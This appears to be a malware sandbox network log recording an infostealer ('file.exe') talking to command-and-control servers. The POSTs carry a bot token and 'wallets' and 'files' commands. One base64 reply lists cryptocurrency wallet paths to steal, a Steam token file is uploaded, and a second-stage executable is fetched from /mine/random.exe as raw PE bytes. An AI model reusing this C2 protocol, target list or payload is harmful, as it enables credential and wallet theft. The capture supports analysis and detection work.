Nov 26, 2024 10:09:38.555216074 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 26, 2024 10:09:39.012718916 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBAFCBKFIDGCAKKKFC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 10:09:40.121189117 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:09:40.310352087 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJDGDHIDBGIECBGHJDB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="message"wallets------KKJDGDHIDBGIECBGHJDB--
Nov 26, 2024 10:09:40.750433922 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 26, 2024 10:09:40.753597975 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="message"files------CFIEHCFIECBGCBFHIJJK--
Nov 26, 2024 10:09:41.193711042 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:09:41.217312098 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="file"------IDHIEBAAKJDHIECAAFHC--
Nov 26, 2024 10:09:42.149010897 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:09:42.190140009 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="message"ybncbhylepme------AKEGDHJDHDAFHJJKJEHC--
Nov 26, 2024 10:09:42.629590988 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49891	185.215.113.16	80	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:09:42.757664919 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 26, 2024 10:09:44.149027109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:09:43 GMT Content-Type: application/octet-stream Content-Length: 1884160 Last-Modified: Tue, 26 Nov 2024 08:49:33 GMT Connection: keep-alive ETag: "67458b9d-1cc000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J[@WkDJdJ @.rsrcD@.idata @ @*@hrzfzjyg0@dakuuilrJ@.taggant0J"@
Nov 26, 2024 10:09:44.149069071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:09:44.149082899 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:09:44.149142981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:09:44.149153948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: I\|qE+Q6,I~I6U
Nov 26, 2024 10:09:44.149167061 CET	1236	IN	Data Raw: 87 26 1c e7 cf e1 0f 31 3f 82 6b 14 f0 d2 07 42 14 31 a0 74 94 8d 97 3e 85 75 96 b4 96 66 cf 3c 54 91 6b 68 9b 69 43 63 3c e1 33 55 21 04 d6 44 38 77 70 78 e5 95 22 27 24 e0 a6 1f d4 90 0b dd 60 8d e7 bb 97 90 23 d1 e1 31 5b 8d f1 dd 82 21 05 f5 Data Ascii: &1?kB1t>uf<TkhiCc<3U!D8wpx"'$`#1[!s4WfM\|BFQ%`huGqqp`1`fk\Ai7X`3%P\|DR]T$[7Uws&F?`&w[%%)4`
Nov 26, 2024 10:09:44.149180889 CET	1236	IN	Data Raw: ca 81 ed 59 f7 d4 2b c6 f2 5d 48 a0 ee 5a b9 8a 0f f7 ee 1d 81 f5 1b 09 67 b0 96 8c 84 08 11 80 ce 51 f7 8f 01 6f 48 7a c6 32 00 f3 71 f0 c7 df 0c 23 a0 12 51 07 47 18 d1 b4 e9 fd 76 5b d6 9b 7a eb a3 57 3c dd c4 c2 91 4a 08 07 92 d0 e1 e8 18 e1 Data Ascii: Y+]HZgQoHz2q#QGv[zW<JHe}^U\|0_"hyLK`LKabViI\V_eCA\6)th} v#1a+VA#>b*YXR2i9fq
Nov 26, 2024 10:09:44.151325941 CET	1236	IN	Data Raw: d1 f5 fe 4e d2 b2 bd e4 bb b1 32 e1 30 2f a0 5d 66 e0 a1 d0 bc 18 ab 55 d7 a8 a3 70 92 40 6b 59 21 10 70 30 b0 b3 9c ab cf 7a d2 02 16 78 8e 20 3f 52 e6 e8 2b f4 a0 7b f6 ab 4a 46 90 6e 2c 20 bf 5f 5a d4 e7 8c f4 df ec 71 2f 40 3f b5 13 75 27 f5 Data Ascii: N20/]fUp@kY!p0zx ?R+{JFn, _Zq/@?u'na&O=I/Yt/_;YC"nJ[3+OVYD+,aI1I5Fc;wd7xXWy17WTD:=:_O-I`/
Nov 26, 2024 10:09:44.163731098 CET	1236	IN	Data Raw: 0b 8b 03 43 b9 c9 77 57 22 2d 81 04 35 12 aa d4 d2 f6 76 2c 47 bc 6f 59 f6 13 71 d4 d0 e5 b1 2c 86 f8 17 c2 44 7c 51 b3 0b 67 b0 53 c9 85 56 b0 c7 b5 a0 90 d3 77 f4 0a bc 74 ab 7e 35 d2 92 a0 fe 1d cf 1c 11 ab 57 40 96 3a 4f 44 b6 75 07 c5 81 a6 Data Ascii: CwW"-5v,GoYq,D\|QgSVwt~5W@:ODu1?gQX%h?w{]Fk[p{X0YpFRM7xPkKnoy?SantvR]vAFEV!YZS*nKY0+V__tu3wDKh>0M-^
Nov 26, 2024 10:09:44.163744926 CET	1236	IN	Data Raw: 67 ce 69 ee 21 d4 81 c1 aa aa dc f8 9b 5f 8b 25 71 b0 21 83 c8 5c 31 4c bc a3 82 0f af 5f 81 c7 4d 63 82 71 c9 50 90 1d 3b e2 de 41 6b 2c ae 69 e1 d5 6f b4 57 b5 c8 14 c3 0c 62 b7 e8 3c 9d 16 10 f0 ab 9a a3 25 28 e9 ee de 2c 09 54 11 61 fc eb 4a Data Ascii: gi!_%q!\1L_McqP;Ak,ioWb<%(,TaJk6Yu;$@Pk3\^tgHL_ ?)D!wNF9$,~t_?hI$I)?} +.unOa!IOo(y%-FD
Nov 26, 2024 10:09:44.269202948 CET	1236	IN	Data Raw: 07 87 07 1d d7 84 5f 6e a4 f5 9c e4 e6 da 60 36 84 76 30 5c 3c 1e f9 ca 02 36 ae 61 d2 ec 51 c3 0f fa 52 05 14 ef eb 2c 31 11 b4 2c f1 70 c0 cf 72 d6 dc 90 3c 43 71 f2 39 1b 94 39 40 e1 55 2e b1 f9 66 a5 41 f8 b6 1b 60 d9 8b 42 30 c0 3d ac f6 ea Data Ascii: _n`6v0\<6aQR,1,pr<Cq99@U.fA`B0=fs_U9\nXWq(~\`}@tyQ:wEuL`#An4+RK>?i`Pof4~wo7<Vq,:f9mSJUDf_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49911	185.215.113.206	80	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:09:48.142995119 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKEC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 2d 2d 0d 0a Data Ascii: ------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIEHJKJJJECFHJJJKKEC--
Nov 26, 2024 10:09:50.133057117 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49951	185.215.113.43	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:04.443561077 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 26, 2024 10:10:05.788440943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49956	185.215.113.43	80	8160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:07.414016962 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 26, 2024 10:10:08.866107941 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 33 0d 0a 20 3c 63 3e 31 30 30 39 32 33 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 39 63 31 31 38 31 64 65 38 30 32 62 35 31 63 31 64 30 33 34 33 39 66 38 35 66 35 31 62 39 30 61 63 39 61 35 35 33 36 65 36 23 31 30 30 39 32 35 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 32 35 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 32 35 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 